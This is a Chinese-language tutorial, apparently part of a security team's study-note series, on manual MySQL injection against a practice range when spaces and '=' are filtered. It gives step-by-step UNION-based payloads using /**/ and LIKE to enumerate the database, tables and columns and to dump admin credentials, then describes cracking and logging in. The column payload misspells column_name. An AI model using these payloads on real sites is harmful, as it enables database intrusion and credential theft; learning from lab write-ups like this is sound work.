Python社区  »  DATABASE

Web安全实战系列笔记 | MySQL突破过滤危险函数实战和分析(三)

红日安全 • 2 周前 • 24 次点击  

点击上方蓝字关注我们



本系列实战笔记为红日安全核心人员核心学习渗透测试期间记录实战笔记,该笔记主要记录自己学习Web安全和渗透测试一个时间路线,希望可以帮助目前在学习Web安全或者是学习渗透测试的同学不知如何下手,或者是对这个方向比较感兴趣的同学,目前该笔记包含以下几个方向内容:
1、黑客工具使用;
2、Web安全方向,包含SQL注入、XSS跨站、命令执行、SSRF等Web安全方向知识;
3、PHP语言讲解笔记
4、PHP代码审计笔记
5、WAF绕过笔记
6、逻辑漏洞学习笔记
希望阿痕自己学习笔记可以帮助更多想学习Web安全同学,另外该笔记为系列文章,转载请标注来源

1. 前言

当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题。下面是我的实战过程。这里使用的是墨者学院的在线靶场。咱们直接开始。

2. 判断注入点

通过测试发现,这里过滤了空格和等于号。所以咱们用/**/代替空格,用like代替=,最后将构造的语句进行url编码,使用的是小葵转化工具。
所以咱们构造如下语句。
//and//1//like//1
结果如下图,页面正常显示。

接着咱们再构造如下语句。

/**/and/**/1/**/like/**/2

发现页面报错,说明存在注入点,且为数字型。如下图

3. 判断字段数

通过 order by语句,咱们构造如下语句
/**/order/**/by/**/4
页面正常显示,如下图。

接下来,咱们输入如下语句。

/**/order/**/by/**/5

发现页面报错,说明数据库里有四个字段,如下图。

4. 判断回显位置

通过联合查询,构造如下语句。这里有一点要注意:使用联合查询时,要使得前面不可查询,所以我将id=1改成了id=-1。
/**/union/**/select/**/1,2,3,4/**/#
结果如下图,我们发现,2,3,两个位置回显到页面上了。

5. 爆库

通过上一步,咱们清楚了回显位置,接下来继续使用联合查询,构造如下语句。
/**/union/**/select/**/1,database(),3,4/**/#
结果去下图。咱们爆出了数据库名。

6. 爆表

由于爆表构造得语句有点长,编码成url格式会更长。所以这里换成了burpsuite进行url编码。构造语句如下。
/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)
结果去下图,咱们爆出了两个表。

7. 爆字段

接下来咱们构造如下语句。
/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)
然后咱们发现了name,password,两个字段,如下图。

8. 爆账号密码

这里咱们还用到了group_concat()函数,可以查询出所有账号和密码。构造如下语句。
/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名
结果如下图,查询出了管理员账号,密码。

9. 解密密码,登陆

我们发现查询出来得密码是加密得,然后通过在线解密得到密码,如下图。注入结束。

10. MySQL手工注入进阶篇实战总结

判断注入点,通过测试发现,过滤了空格,等于号,所以用/**/代替空格,用like代替等于号,构造的语句在进行url编码。
第一步,判断注入类型。构造语句
/**/and/**/1/**/like/**/1和 /**/and/**/1/**/like/**/2
发现报错。所以判断为数字型。
第二步,判断字段数,构造语句
/**/order/**/by/**/4和/**/order/**/by/**/5
发现4正常,5报错,说明有四个字段数。
第三步,爆库。构造语句
/**/union/**/select/**/1,database(),3,4/**/#
第四步,爆表。构造语句
/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/库名(将库名转换成十六进制)
第五步,爆字段。构造语句   构造语句
/**/union/**/select/**/1,group_concat(colunm_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/表名(转换成十六进制)
第六步,获取账户,密码。构造语句
/**/union/**/select/**/1,group_concat(name),group_concat(password),4/**/from/**/表名
第七步,解密,登陆。

红日安全出品|转载请注明来源

文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
(来源:红日安全)


海量安全课程

阅读原文   可观看

 

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/119889
 
24 次点击  
分享到微博